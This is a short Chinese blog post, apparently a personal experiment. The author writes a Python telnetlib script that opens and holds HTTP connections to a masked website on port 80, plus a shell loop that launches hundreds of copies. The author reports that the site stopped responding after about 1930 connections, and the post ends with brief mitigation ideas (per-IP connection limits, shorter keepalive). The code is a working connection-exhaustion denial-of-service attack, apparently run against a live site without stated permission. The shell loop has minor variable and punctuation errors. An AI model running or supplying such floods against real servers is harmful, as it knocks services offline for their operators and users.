用Python做Web服务器DoS攻击

看到了google上的一篇关于web安全的讲义http://code.google.com/edu/submissions/web_security/listing.html
觉得值得试试，刚好在学习Python，看到了telnetlib觉得挺有意思，用作网络交互确实比shell script下用expect方便很多，于是写用python做了个小程序来对服务器的80端口做个DoS试下。

dos.py
#!/usr/bin/python
from telnetlib import Telnet
h=Telnet('www.xxxxxx.com',80)
h.write('get / HTTP/1.0 \r\n')
h.read_all()

执行一下，
没有响应，呵呵，连接已经建立，这说明服务已经建立。

写一个shell script
#!/bin/sh
TIMES=500
I=1
while [ $i -lt $TIME ]；
do
    ./dos.py&
    echo "$I Connection Established"
    ((i=$i+1))
done

执行，500个建立，检查服务器，ok，再发送500个，依然ok，再发，再发，啊偶，翘了，首页打不开了：（ 等到连接超时被释放，服务器才又可以被访问。

仅仅一台主机发送1930个连接就耗尽了服务器资源，看来风险不小啊。

怎么办呢。
限制同一个IP的连接数量是一个办法，同时把keepalive的时间调整的更短。还有什么办法？